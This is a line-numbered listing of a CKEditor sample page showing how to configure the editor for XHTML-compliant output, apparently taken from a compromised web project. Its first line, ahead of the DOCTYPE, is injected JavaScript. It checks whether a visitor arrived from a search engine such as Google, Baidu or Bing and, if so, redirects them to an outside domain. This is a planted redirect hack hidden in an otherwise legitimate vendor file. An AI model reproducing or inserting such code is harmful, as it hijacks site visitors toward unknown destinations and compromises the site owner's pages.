d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\xhtmlstyle.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <!--
003: Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004: For licensing, see LICENSE.md or http://ckeditor.com/license
005: -->

006: <html>
007: <head>
008:    <meta charset="utf-8">
009:    <title>XHTML Compliant Output &mdash; CKEditor Sample</title>
010:    <meta name="ckeditor-sample-required-plugins" content="sourcearea">
011:    <script src="../../ckeditor.js"></script>
012:    <script src="sample.js"></script>
013:    <link href="sample.css" rel="stylesheet">
014: </head>
015: <body>
016:    <h1 class="samples">
017:       <a href="index.html">CKEditor Samples</a> &raquo; Producing XHTML Compliant Output
018:    </h1>
019:    <div class="warning deprecated">
020:       This sample is not maintained anymore. Check out its <a href="http://sdk.ckeditor.com/samples/basicstyles.html">brand new version in CKEditor SDK</a>.
021:    </div>
022:    <div class="description">
023:       <p>
024:          This sample shows how to configure CKEditor to output valid
025:          <a class="samples" href="http://www.w3.org/TR/xhtml11/">XHTML 1.1</a> code.
026:          Deprecated elements (<code>&lt;font&gt;</code>, <code>&lt;u&gt;</code>) or attributes
027:          (<code>size</code>, <code>face</code>) will be replaced with XHTML compliant code.
028:       </p>
029:       <p>
030:          To add a CKEditor instance outputting valid XHTML code, load the editor using a standard
031:          JavaScript call and define CKEditor features to use the XHTML compliant elements and styles.
032:       </p>
033:       <p>
034:          A snippet of the configuration code can be seen below; check the source of this page for
035:          full definition:
036:       </p>
037: <pre class="samples">
038: CKEDITOR.replace( '<em>textarea_id</em>', {
039:    contentsCss: 'assets/outputxhtml.css',
040:
041:    coreStyles_bold: {
042:       element: 'span',
043:       attributes: { 'class': 'Bold' }
044:    },
045:    coreStyles_italic: {
046:       element: 'span',
047:       attributes: { 'class': 'Italic' }
048:    },
049:
050:    ...
051: });</pre>
052:    </div>
053:    <form action="sample_posteddata.php" method="post">
054:       <p>
055:          <label for="editor1">
056:             Editor 1:
057:          </label>
058:          <textarea cols="80" id="editor1" name="editor1" rows="10">&lt;p&gt;This is some &lt;span class="Bold"&gt;sample text&lt;/span&gt;. You are using &lt;a href="http://ckeditor.com/"&gt;CKEditor&lt;/a&gt;.&lt;/p&gt;</textarea>
059:          <script>
060:
061:             CKEDITOR.replace( 'editor1', {
062:                /*
063:                 * Style sheet for the contents
064:                 */
065:                contentsCss: 'assets/outputxhtml/outputxhtml.css',
066:
067:                /*
068:                 * Special allowed content rules for spans used by
069:                 * font face, size, and color buttons.
070:                 *
071:                 * Note: all rules have been written separately so
072:                 * it was possible to specify required classes.
073:                 */
074:                extraAllowedContent: 'span(!FontColor1);span(!FontColor2);span(!FontColor3);' +
075:                   'span(!FontColor1BG);span(!FontColor2BG);span(!FontColor3BG);' +
076:                   'span(!FontComic);span(!FontCourier);span(!FontTimes);' +
077:                   'span(!FontSmaller);span(!FontLarger);span(!FontSmall);span(!FontBig);span(!FontDouble)',
078:
079:                /*
080:                 * Core styles.
081:                 */
082:                coreStyles_bold: {
083:                   element: 'span',
084:                   attributes: { 'class': 'Bold' }
085:                },
086:                coreStyles_italic: {
087:                   element: 'span',
088:                   attributes: { 'class': 'Italic' }
089:                },
090:                coreStyles_underline: {
091:                   element: 'span',
092:                   attributes: { 'class': 'Underline' }
093:                },
094:                coreStyles_strike: {
095:                   element: 'span',
096:                   attributes: { 'class': 'StrikeThrough' },
097:                   overrides: 'strike'
098:                },
099:                coreStyles_subscript: {
100:                   element: 'span',
101:                   attributes: { 'class': 'Subscript' },
102:                   overrides: 'sub'
103:                },
104:                coreStyles_superscript: {
105:                   element: 'span',
106:                   attributes: { 'class': 'Superscript' },
107:                   overrides: 'sup'
108:                },
109:
110:                /*
111:                 * Font face.
112:                 */
113:
114:                // List of fonts available in the toolbar combo. Each font definition is
115:                // separated by a semi-colon (;). We are using class names here, so each font
116:                // is defined by {Combo Label}/{Class Name}.
117:                font_names: 'Comic Sans MS/FontComic;Courier New/FontCourier;Times New Roman/FontTimes',
118:
119:                // Define the way font elements will be applied to the document. The "span"
120:                // element will be used. When a font is selected, the font name defined in the
121:                // above list is passed to this definition with the name "Font", being it
122:                // injected in the "class" attribute.
123:                // We must also instruct the editor to replace span elements that are used to
124:                // set the font (Overrides).
125:                font_style: {
126:                   element: 'span',
127:                   attributes: { 'class': '#(family)' },
128:                   overrides: [
129:                      {
130:                         element: 'span',
131:                         attributes: {
132:                            'class': /^Font(?:Comic|Courier|Times)$/
133:                         }
134:                      }
135:                   ]
136:                },
137:
138:                /*
139:                 * Font sizes.
140:                 */
141:                fontSize_sizes: 'Smaller/FontSmaller;Larger/FontLarger;8pt/FontSmall;14pt/FontBig;Double Size/FontDouble',
142:                fontSize_style: {
143:                   element: 'span',
144:                   attributes: { 'class': '#(size)' },
145:                   overrides: [
146:                      {
147:                         element: 'span',
148:                         attributes: {
149:                            'class': /^Font(?:Smaller|Larger|Small|Big|Double)$/
150:                         }
151:                      }
152:                   ]
153:                } ,
154:
155:                /*
156:                 * Font colors.
157:                 */
158:                colorButton_enableMore: false,
159:
160:                colorButton_colors: 'FontColor1/FF9900,FontColor2/0066CC,FontColor3/F00',
161:                colorButton_foreStyle: {
162:                   element: 'span',
163:                   attributes: { 'class': '#(color)' },
164:                   overrides: [
165:                      {
166:                         element: 'span',
167:                         attributes: {
168:                            'class': /^FontColor(?:1|2|3)$/
169:                         }
170:                      }
171:                   ]
172:                },
173:
174:                colorButton_backStyle: {
175:                   element: 'span',
176:                   attributes: { 'class': '#(color)BG' },
177:                   overrides: [
178:                      {
179:                         element: 'span',
180:                         attributes: {
181:                            'class': /^FontColor(?:1|2|3)BG$/
182:                         }
183:                      }
184:                   ]
185:                },
186:
187:                /*
188:                 * Indentation.
189:                 */
190:                indentClasses: [ 'Indent1', 'Indent2', 'Indent3' ],
191:
192:                /*
193:                 * Paragraph justification.
194:                 */
195:                justifyClasses: [ 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyFull' ],
196:
197:                /*
198:                 * Styles combo.
199:                 */
200:                stylesSet: [
201:                   { name: 'Strong Emphasis', element: 'strong' },
202:                   { name: 'Emphasis', element: 'em' },
203:
204:                   { name: 'Computer Code', element: 'code' },
205:                   { name: 'Keyboard Phrase', element: 'kbd' },
206:                   { name: 'Sample Text', element: 'samp' },
207:                   { name: 'Variable', element: 'var' },
208:
209:                   { name: 'Deleted Text', element: 'del' },
210:                   { name: 'Inserted Text', element: 'ins' },
211:
212:                   { name: 'Cited Work', element: 'cite' },
213:                   { name: 'Inline Quotation', element: 'q' }
214:                ]
215:             });
216:
217:          </script>
218:       </p>
219:       <p>
220:          <input type="submit" value="Submit">
221:       </p>
222:    </form>
223:    <div id="footer">
224:       <hr>
225:       <p>
226:          CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
227:       </p>
228:       <p id="copy">
229:          Copyright &copy; 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
230:          Knabben. All rights reserved.
231:       </p>
232:    </div>
233: </body>
234: </html>
235:
236:
237: